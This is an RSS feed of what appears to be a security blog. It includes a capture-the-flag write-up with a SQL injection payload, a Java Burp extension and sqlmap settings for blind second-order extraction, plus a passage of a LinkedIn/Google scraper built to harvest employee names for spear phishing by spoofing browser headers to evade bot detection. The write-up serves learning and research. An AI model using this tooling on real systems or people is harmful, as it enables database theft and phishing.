<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>WebstersProdigy &#187; Programming</title>
	<atom:link href="http://webstersprodigy.net/category/computers/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://webstersprodigy.net</link>
	<description>Updates every other Friday... usually</description>
	<lastBuildDate>Sat, 26 May 2012 06:58:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='webstersprodigy.net' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>WebstersProdigy &#187; Programming</title>
		<link>http://webstersprodigy.net</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://webstersprodigy.net/osd.xml" title="WebstersProdigy" />
	<atom:link rel='hub' href='http://webstersprodigy.net/?pushpress=hub'/>
		<item>
		<title>Hello WordPress.com</title>
		<link>http://webstersprodigy.net/2012/05/14/hello-wordpress-com/</link>
		<comments>http://webstersprodigy.net/2012/05/14/hello-wordpress-com/#comments</comments>
		<pubDate>Mon, 14 May 2012 04:40:12 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://webstersprodigy.wordpress.com/?p=1186</guid>
		<description><![CDATA[This is the third reincarnation of this website.  It&#8217;s amazing how time flies by. V1 Built early 2007 on websitebaker, I self hosted this on various available university computers. At the time I was working as a Linux sysadmin and going to school. I liked websitebaker because of how simple it was to customize and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=1186&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This is the third reincarnation of this website.  It&#8217;s amazing how time flies by.</p>
<h3>V1</h3>
<p>Built early 2007 on <a href="http://www.websitebaker2.org/en/home.php">websitebaker</a>, I self hosted this on various available university computers. At the time I was working as a Linux sysadmin and going to school. I liked websitebaker because of how simple it was to customize and figure out how it worked.  <a title="Simple Beauty Website Baker Template" href="http://webstersprodigy.net/2008/04/21/simple-beauty-website-baker-template/">Here is a post on the theme</a>.</p>
<p><a href="http://webstersprodigy.wordpress.com/?attachment_id=1187" rel="attachment wp-att-1187"><img class="alignnone size-medium wp-image-1187" title="webstersprodigyv1" src="https://webstersprodigy.files.wordpress.com/2012/05/webstersprodigyv1.png?w=500&h=312" alt="" width="500" height="312" /></a></p>
<h3>V2</h3>
<p>Built in mid 2009 when I was leaving the university to go work for IOActive in Seattle, I needed a new place for hosting which I had been getting for free. I went with <a href="http://www.site5.com">site5</a> largely because it was cheap (around $5/month), and it had ssh access so I could migrate fairly easily (e.g. leaving all files in the same structure). I also migrated from websitebaker to wordpress, which is a huge improvement in my opinion. With the wife&#8217;s help, I wrote the Ryu theme as a modification of the existing theme.</p>
<p><a href="http://webstersprodigy.wordpress.com/?attachment_id=1188" rel="attachment wp-att-1188"><img class="alignnone size-medium wp-image-1188" title="webstersprodigyv2" src="https://webstersprodigy.files.wordpress.com/2012/05/webstersprodigyv2.png?w=500&h=291" alt="" width="500" height="291" /></a></p>
<h3>V3</h3>
<p>I don&#8217;t get a lot of traffic, but when I do get bursts then site5 seems to struggle. I&#8217;m working on some things I think are neat lately (coming soon! I&#8217;m planning on putting more effort here than I ever have before)  and I want the website to stay responsive if I ever get slashdotted or something. I ultimately wanted to stay with wordpress as the cms but was willing to try others. I looked at/considered EC2, Media Temple, and Blogger. In the end, I think WordPress.com is the best fit. It has a low price tag ($30/yr for no ads, $30/yr for custom css, and $15/yr so I can use my domain). Besides scalability, I just feel like if I tried I could hack site5 and that scares me. <a href="http://wordpress.org/news/2011/05/wordpress-3-1-3/">I did find a wordpress bug one time</a>, but when I was looking for it I was pretty impressed with the general code quality.</p>
<p>My big reservation with wordpress.com was that I couldn&#8217;t upload arbitrary files to share, but with things like skydrive (which I use), dropbox, google drive, and Amazon&#8217;s services it make sense to separate that piece and link to that content. I spent a lot of time this weekend working to get the new setup (my lovely wife also helped with the CSS), and I think it&#8217;s generally looking pretty good :)</p>
<p><a href="http://webstersprodigy.wordpress.com/?attachment_id=1330" rel="attachment wp-att-1330"><img class="alignnone size-medium wp-image-1330" title="Capture" src="https://webstersprodigy.files.wordpress.com/2012/05/capture.png?w=500&h=352" alt="" width="500" height="352" /></a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/1186/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/1186/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/1186/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/1186/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/1186/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/1186/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/1186/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/1186/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/1186/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/1186/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/1186/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/1186/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/1186/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/1186/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=1186&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/05/14/hello-wordpress-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="https://webstersprodigy.files.wordpress.com/2012/05/webstersprodigyv1.png?w=500" medium="image">
			<media:title type="html">webstersprodigyv1</media:title>
		</media:content>

		<media:content url="https://webstersprodigy.files.wordpress.com/2012/05/webstersprodigyv2.png?w=500" medium="image">
			<media:title type="html">webstersprodigyv2</media:title>
		</media:content>

		<media:content url="https://webstersprodigy.files.wordpress.com/2012/05/capture.png?w=500" medium="image">
			<media:title type="html">Capture</media:title>
		</media:content>
	</item>
		<item>
		<title>Blind Second Order SQL Injection with Burp and SqlMap</title>
		<link>http://webstersprodigy.net/2012/03/30/blind-second-order-sql-injection-with-burp-and-sqlmap/</link>
		<comments>http://webstersprodigy.net/2012/03/30/blind-second-order-sql-injection-with-burp-and-sqlmap/#comments</comments>
		<pubDate>Fri, 30 Mar 2012 12:05:57 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[burp]]></category>
		<category><![CDATA[extender]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sqlmap]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=936</guid>
		<description><![CDATA[My favorite challenge on codegate this year was a second order SQL injection (yes, the ‘easy’ 100 level one). It wasn&#8217;t blind &#8211; that was even one of the hints early on. But I got to thinking about how I would exploit a blind second order SQL injection, and I decided to go that route. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=936&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>My favorite challenge on <a href="http://yut.codegate.org/">codegate</a> this year was a second order SQL injection (yes, the ‘easy’ 100 level one). It wasn&#8217;t blind &#8211; that was even one of the hints early on. But I got to thinking about how I would exploit a blind second order SQL injection, and I decided to go that route. It&#8217;s something I&#8217;d never done before, and I thought it was an interesting problem. (I go off on tangents a lot &#8211; acme is awesome for still letting me be a pretty much non-contributing member of their team).</p>
<p><strong>The Injection</strong></p>
<p>The scenario was an mp3 player application, and the goal was to get what the admin was listening to. The injectable query is here, in the genre parameter:</p>
<p><pre class="brush: plain;">
POST /mp3_world/index.php?page=upload HTTP/1.1
Host: 1.237.174.123:3333
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: 404

-----------------------------265001916915724
Content-Disposition: form-data; name=&quot;mp3&quot;; filename='badfi&quot;le.mp3'
Content-Type: text/plain

bad'&quot;
-----------------------------265001916915724
Content-Disposition: form-data; name=&quot;genre&quot;

if(1=1 ,1, 2)
-----------------------------265001916915724
Content-Disposition: form-data; name=&quot;title&quot;

9 95
-----------------------------265001916915724--

</pre></p>
<p>Notice the  if(1=1 ,1, 2). In a second response, it will show [hiphop] if the query evaluates to true, and something else if it’s not true.</p>
<p>So the right way to proceed is to see if you can get information into the data output (e.g. the non-blind route). But say this is all the information you had, an oracle on another page from the request; an injection in request 1 and an oracle in response 2. Obviously, this is still exploitable, but how?</p>
<p><strong>Extending Burp to Return the Oracle to an Injection Request</strong></p>
<p>So here’s the strategy:</p>
<ul>
<li>Do the injection request.</li>
<li>The response for the first request is meaningless – there’s no injection there. Throw it away and replace it with a response from a separate request that triggers the injection. Here, I just return TRUE if 1=1, False if not. Tools like sqlmap can work with this for blind sqli</li>
<li>Clean up; because the oracle is stored, we need to clean up old oracles that indicate whether the comparison was successful</li>
</ul>
<p>The following code does this:</p>
<p><pre class="brush: java;">
package burp;

import java.net.*;
import java.util.*;
import java.util.regex.*;
import java.io.*;

public class BurpExtender
{
    public IBurpExtenderCallbacks mCallbacks;

    //victimRequest is the value that triggers the alternate response
    public static String victimRequest = &quot;1.237.174.123&quot;;
    //replacementResponse replaces the response with this new one
    public static String replacementResponse = &quot;http://1.237.174.123:3333/mp3_world/?page=player&quot;;
    public static String injectionOracle = &quot;[hiphop]&quot;;
    public static String deleteOld = &quot;http://1.237.174.123:3333/mp3_world/?page=upload&amp;del=&quot;;

    public void processHttpMessage(String toolName, boolean messageIsRequest, IHttpRequestResponse messageInfo)
    {
        if (!messageIsRequest)
        {
            if (messageInfo.getHost().equals(victimRequest))
            {
                boolean respvalue = false;
                try {
                    //assume this is our sql injection response; make a second request to return
                    System.out.println(&quot;This request needs a modified response&quot;);
                    //make a request to the second order to see if True or False
                    //with this one, no need for cookies or anything - it's based on IP
                    URL sqlcheck = new URL(replacementResponse);
                    URLConnection sc = sqlcheck.openConnection();
                    BufferedReader in = new BufferedReader(new InputStreamReader(sc.getInputStream()));

                    String inputLine;
                    String delIndex = &quot;&quot;;
                    //if injectionOracle is in sqlcheck response, and the resp number in the title true. If not, false
                    while ((inputLine = in.readLine()) != null)
                    {
                        if (inputLine.contains(injectionOracle))
                            respvalue = true;
                        //grab all the indexes so we can delete them later = format &quot;idx=?&quot;
                        if (inputLine.contains(&quot;idx=&quot;))
                        {
                            int sindex = inputLine.indexOf(&quot;idx=&quot;);
                            int eindex = inputLine.indexOf(&quot;&quot;&quot;, sindex);
                            delIndex = inputLine.substring(sindex+4, eindex);
                        }
                    }
                    in.close();
                    String resp;
                    if (respvalue)
                        resp = &quot;True&quot;;
                    else
                        resp = &quot;False&quot;;
                    byte[] bResp = resp.getBytes();

                    messageInfo.setResponse(bResp);

                    //Clean up old songs
                    System.out.println(&quot;Deleting &quot; + delIndex);
                    String delstr = deleteOld + delIndex;
                    URL delRequest = new URL(delstr);
                    URLConnection deslc = delRequest.openConnection();
                    in = new BufferedReader(new InputStreamReader(deslc.getInputStream()));
                    in.close();

                }
                catch (java.io.IOException ex){
                    System.out.println(&quot;something's wrong&quot;);
                }
                catch (java.lang.Exception ex){
                    System.out.println(&quot;something else is wrong&quot;);
                }
            }
        }

    }

    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
    {
        mCallbacks = callbacks;
    }
}
</pre></p>
<p>To compile, it should look like this (the source file is BurpExtender.java). Here’s a command dump as a sanity check</p>
<p><pre class="brush: plain;">

PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injection

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         2/25/2012   5:00 PM            burp
-a---         2/25/2012   5:00 PM       6445 BurpExtender.java
-a---         2/25/2012   3:47 PM        571 requestfile.ini
-a---         2/25/2012   6:16 PM      17168 sqlmap.config

PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; javac .BurpExtender.java
Note: .BurpExtender.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; rm .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; mv .BurpExtender.class .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; jar -cf .burpextender.jar .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; cd .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp&gt; ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         2/25/2012   7:37 PM       4062 BurpExtender.class
-a---         2/24/2012  11:51 PM        345 burpextender.jar
-a---          6/3/2011   7:56 AM       7919 IBurpExtender.java
-a---         2/24/2012  11:19 PM       1587 IBurpExtenderCallbacks.class
-a---         2/24/2012  11:04 PM      13131 IBurpExtenderCallbacks.java
-a---         2/24/2012  11:19 PM        659 IHttpRequestResponse.class
-a---          6/3/2011   7:55 AM       4040 IHttpRequestResponse.java
-a---         2/24/2012  11:19 PM        196 IMenuItemHandler.class
-a---          6/3/2011   7:56 AM       1453 IMenuItemHandler.java
-a---         2/24/2012  11:19 PM        477 IScanIssue.class
-a---          6/3/2011   7:56 AM       2826 IScanIssue.java
-a---         2/24/2012  11:19 PM        347 IScanQueueItem.class
-a---          6/3/2011   7:56 AM       2309 IScanQueueItem.java

</pre></p>
<p>Then to run:</p>
<blockquote><p>java -Xmx512m -classpath burpextender.jar;burpsuite_pro_v1.4.05.jar burp.StartBurp</p></blockquote>
<p>With this, you can make requests with Burp and it returns True or False in the single response.</p>
<p><a href="http://webstersprodigy.net/2012/03/30/blind-second-order-sql-injection-with-burp-and-sqlmap/burp_truefalse-png/" rel="attachment wp-att-938"><img class="alignnone size-medium wp-image-938" title="burp_truefalse.png" src="http://webstersprodigy.files.wordpress.com/2012/02/burp_truefalse.png?w=500&h=395" alt="" width="500" height="395" /></a></p>
<p><strong>Fenangling sqlmap</strong></p>
<p>It took a little more work to get sqlmap working happily. One annoying thing is Burp’s proxy. It has a match and replace, but it doesn’t work well with multiple line things. Also, sqlmap doesn’t play well with multi-part forms.</p>
<p>I ended up using the extender more, and matching on words like how the match and replace in Burp’s proxy should work. This is a common trick, but it nearly doubled the code above to make everything happy (think multiple wrong content-lengths and url decodings and whatnot).</p>
<p>That said, the idea is straightforward. My base request looked something like this, and sqlmap was injecting into the &#8217;1&#8242;. By the way, the syntax is MySql.</p>
<blockquote><p>asdfghbleh=1&amp;aftercrap=crap</p></blockquote>
<p>Replace asdfghbleh= with “if (1=”</p>
<p>Replaces &amp;aftercrap=crap with “,1,2)”</p>
<p>So, for example, the base query has (in the genre param)</p>
<blockquote><p>if (1=1, 1, 2)</p></blockquote>
<p>Sqlmap is happy at this point, and you can run arbitrary queries. When running sqlmap, I generally like to use the config file. Here are some of the changes for the initial sql injection detection.</p>
<p><pre class="brush: plain;">

#Base request from repeater with tags
requestFile = requestfile.ini
proxy = http://localhost:8080
testParameter = asdfghbleh
dbms = mysql
tech = B

</pre></p>
<p>After a happy base run, I enumerated databases, tables, and columns just like usual. As expected, it took a while to actually get information out (on the order of a couple hours) but I still think this is pretty slick. If this were actually blind I imagine it would be rated harder than 100 level. Dumping everything at once is way more efficient and all, but every time sqlmap decodes an arbitrary character, all I see anymore is blonde, brunette, redhead&#8230;</p>
<p><a href="http://webstersprodigy.net/2012/03/30/blind-second-order-sql-injection-with-burp-and-sqlmap/image-png-2/" rel="attachment wp-att-940"><img class="alignnone size-medium wp-image-940" title="image.png" src="http://webstersprodigy.files.wordpress.com/2012/02/image1.png?w=500&h=397" alt="" width="500" height="397" /></a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/936/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=936&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/03/30/blind-second-order-sql-injection-with-burp-and-sqlmap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/burp_truefalse.png?w=500" medium="image">
			<media:title type="html">burp_truefalse.png</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/image1.png?w=500" medium="image">
			<media:title type="html">image.png</media:title>
		</media:content>
	</item>
		<item>
		<title>Linkedin Crawler</title>
		<link>http://webstersprodigy.net/2010/11/13/linkedin-crawler/</link>
		<comments>http://webstersprodigy.net/2010/11/13/linkedin-crawler/#comments</comments>
		<pubDate>Sat, 13 Nov 2010 02:27:09 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[gradproject]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=731</guid>
		<description><![CDATA[The following is also source used in the grad project. I&#8217;ll post the actual paper at some point. But here is the linkedin crawler portion with the applicable source. By it&#8217;s nature, this code is breakable, and may not work even at the time of posting. But it did work long enough for me to [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=731&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The following is also source used in the grad project. I&#8217;ll post the actual paper at some point. But here is the linkedin crawler portion with the applicable source. By it&#8217;s nature, this code is breakable, and may not work even at the time of posting. But it did work long enough for me to gather addresses, which was the point.</p>
<p>Usage is/was</p>
<blockquote><p>LinkedinPageGatherer.py Linkedinusername Linkedinpassword</p></blockquote>
<p>Following is an excerpt from the &#8216;paper&#8217;.</p>
<p>the HTMLParser libraries are more resilient to changes in source. Both HTMLParser and lxml libraries have different code available to process broken HTML. The HTMLParser libraries were chosen as more appropriate for these problems [lxml][htmlparsing].</p>
<p>There has been an effort to put all HTML specific logic in debuggable places so if the HTML generated changes then it is easy to modify the code parsing to reflect those changes (assuming equivalent information is available). However, changes in source are frequent, and the source code has had to be modified roughly every 3 months to reflect changes in HTML layout.</p>
<p>Unfortunately, although the functionality is simple, this program has grown to be much more complex due to roadblocks put in place by both LinkedIn Google.</p>
<p>To search LinkedIn from itself, it is necessary to have a LinkedIn account. With an account, it is possible to search with or without connections, although the searching criteria differ depending on the type of account you have. Because of this, one of the criteria for searching LinkedIn is cookie management, which has to be written to keep track of the HTTP session. In addition, LinkedIn uses a POST parameter nonce at each page that must be retrieved and POSTed for every page submission. Because of the nonce, it is also necessary to login at the login page, save the nonce and the cookie, and proceed to search through the same path an actual user would.</p>
<p>Once the tool is able to search for companies, there is an additional limitation. With the free account, the search is limited to displaying only 100 connections. This is inconvenient as the desired number of actual connections is often much larger. The tool I&#8217;ve written takes various criteria (such as location, title, etc) to perform multiple more specific searches of 100 results each. The extra information is harvested at each search to use for later searches. With more specific searches, the tool inserts unique items into a list of users. When the initial search initiates, LinkedIn reports the total number of results (although it only lets the account view 100 at a time) so the tool uses this total number as one possible stopping condition &#8211; when a percentage of that number has been reached or a certain number of failed searches have been tried.</p>
<p>This is easier to illustrate with an example. In the case of FPL, there are over 2000 results. However, it can be asserted that at least one of the results is from a certain Miami address. Using this as a search restriction the total results may be reduced to 500, the first 100 of which can be inserted. It can also be asserted that there is at least one result from the Miami address who is a project manager. Using this restriction, there are only 5 results, which have different criteria to do advanced searches on. Using this iterative approach, it is possible to gather most of the 2000. In the program I have written, this functionality is still experimental and the parameters must be adjusted.</p>
<p>One additional difficulty with LinkedIn is that with these results it does not display a name, only a job title associated with the company. Obviously, this is not ideal. A name is necessary for even the most basic spear phishing attacks. An email may sound slightly awkward if addressed as &#8220;Dear Project Manager in the Cyber Security Group&#8221;. The solution I found to retrieve employee names is to use Google. Using specific Google queries based on the LinkedIn names, it is possible to retrieve the names associated with a job, company, and job title.</p>
<p>Google has a use policy prohibiting automated crawlers. Because of this policy, it does various checks on the queries to verify that the browser is a known real browser. If it is not, Google returns a 403 status stating that the browser is not known. To circumvent this, a packet dump was performed on a valid browser. The code now has a snippet to send information exactly like an actual browser would along with randomized time delays to mimic a person. It should be impossible for Google to tell the difference over the long run – whatever checks they do can be mimicked. The code includes several configurable browsers to masquerade as. Below is the code snippet including the default spoofed browser which is Firefox running on Linux.</p>
<p><pre class="brush: python;">
def getHeaders(self, browser=&quot;ubuntuFF&quot;):
  #ubuntu firefox spoof
  if browser == &quot;ubuntuFF&quot;:
    headers = {
      &quot;Host&quot;: &quot;www.google.com&quot;,
      &quot;User-Agent&quot;: &quot;Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5&quot;,
      &quot;Accept&quot; : &quot;text/html,application/xhtml+xml,application xml;q=0.9,*/*;q=0.8&quot;,
      &quot;Accept-Language&quot; : &quot;en-us,en;q=0.5&quot;,
      &quot;Accept-Charset&quot; : &quot;ISO-8859-1,utf-8;q=0.7,*;q=0.7&quot;,
      &quot;Keep-Alive&quot; : &quot;300&quot;,
      &quot;Proxy-Connection&quot; : &quot;keep-alive&quot;
    }
...
</pre><br />
Although both Google and LinkedIn make it difficult to automate information mining, their approach will fundamentally fail a motivated adversary. Because these companies want to make information available to users, this information can also be retrieved automatically. Captcha technology has been one traditional solution, though by its nature it suffers from similar flaws in design.</p>
<p>The LinkedIn crawler program demonstrates the possibility of an attacker targeting a company to harvest people’s names, which many times can be mapped to email addresses as demonstrated in previous sections.</p>
<p>GoogleQueery.py</p>
<p><pre class="brush: python;">
#! /usr/bin/python

#class to make google queries
#must masquerade as a legitimate browser
#Using this violates Google ToS

import httplib
import urllib
import sys
import HTMLParser
import re

#class is basically fed a google url for linkedin for the
#sole purpose of getting a linkedin link
class GoogleQueery(HTMLParser.HTMLParser):
  def __init__(self, goog_url):
    HTMLParser.HTMLParser.__init__(self)
    self.linkedinurl = []
    query = urllib.urlencode({&quot;q&quot;: goog_url})
    conn = httplib.HTTPConnection(&quot;www.google.com&quot;)
    headers = self.getHeaders()
    conn.request(&quot;GET&quot;, &quot;/search?hl=en&amp;&quot;+query, headers=headers)
    resp = conn.getresponse()
    data = resp.read()
    self.feed(data)
    self.get_num_results(data)
    conn.close()

  #this is necessary because google wants to be mean and 403 based on... not sure
  #but it seems  I must look like a real browser to get a 200
  def getHeaders(self, browser=&quot;chromium&quot;):
    #if browser == &quot;random&quot;:
      #TODO randomize choice
    #ubuntu firefox spoof
    if browser == &quot;ubuntuFF&quot;:
      headers = {
        &quot;Host&quot;: &quot;www.google.com&quot;,
        &quot;User-Agent&quot;: &quot;Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5&quot;,
        &quot;Accept&quot; : &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;,
        &quot;Accept-Language&quot; : &quot;en-us,en;q=0.5&quot;,
        &quot;Accept-Charset&quot; : &quot;ISO-8859-1,utf-8;q=0.7,*;q=0.7&quot;,
        &quot;Keep-Alive&quot; : &quot;300&quot;,
        &quot;Proxy-Connection&quot; : &quot;keep-alive&quot;
        }
    elif browser == &quot;chromium&quot;:
      headers = {
        &quot;Host&quot;: &quot;www.google.com&quot;,
        &quot;Proxy-Connection&quot;: &quot;keep-alive&quot;,
        &quot;User-Agent&quot;: &quot;Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2&quot;,
        &quot;Referer&quot;: &quot;http://www.google.com/&quot;,
        &quot;Accept&quot;: &quot;application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&quot;,
        &quot;Avail-Dictionary&quot;: &quot;FcpNLYBN&quot;,
        &quot;Accept-Language&quot;: &quot;en-US,en;q=0.8&quot;,
        &quot;Accept-Charset&quot;: &quot;ISO-8859-1,utf-8;q=0.7,*;q=0.3&quot;
      }
    elif browser == &quot;ie&quot;:
      headers = {
        &quot;Host&quot;: &quot;www.google.com&quot;,
        &quot;Proxy-Connection&quot;: &quot;keep-alive&quot;,
        &quot;User-Agent&quot;: &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)&quot;,
        &quot;Referer&quot;: &quot;http://www.google.com/&quot;,
        &quot;Accept&quot;: &quot;application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&quot;,
        &quot;Accept-Language&quot;: &quot;en-US,en;q=0.8&quot;,
        &quot;Accept-Charset&quot;: &quot;ISO-8859-1,utf-8;q=0.7,*;q=0.3&quot;
      }
    return headers

  def get_num_results(self, data):
    index = re.search(&quot;&lt;b&gt;1&lt;/b&gt; - &lt;b&gt;[d]+&lt;/b&gt; of [w]*[ ]?&lt;b&gt;([d,]+)&quot;, data)
    try:
      self.numResults = int(index.group(1).replace(&quot;,&quot;, &quot;&quot;))
    except:
      self.numResults = 0
      if not &quot;- did not match any documents. &quot; in data:
        print &quot;Warning: numresults parsing problem&quot;
        print &quot;setting number of results to 0&quot;

  def handle_starttag(self, tag, attrs):
    try:
      if tag == &quot;a&quot; and (((&quot;linkedin.com/pub/&quot; in attrs[0][1])
                    or  (&quot;linkedin.com/in&quot; in attrs[0][1]))
                    and (&quot;http://&quot; in attrs[0][1])
                    and (&quot;search?q=cache&quot; not in attrs[0][1])
                    and (&quot;/dir/&quot; not in attrs[0][1])):
        self.linkedinurl.append(attrs[0][1])
        #print self.linkedinurl
      #perhaps add a google cache option here in the future
    except IndexError:
      pass

#for testing
if __name__ == &quot;__main__&quot;:
  #url = &quot;site:linkedin.com &quot;PROJECT ADMINISTRATOR at CAT INL QATAR W.L.L.&quot; &quot;Qatar&quot;&quot;
  m = GoogleQueery(url)

</pre></p>
<p>LinkedinHTMLParser.py</p>
<p><pre class="brush: python;">
#! /usr/bin/python

#this should probably be put in LinkedinPageGatherer.py

import HTMLParser

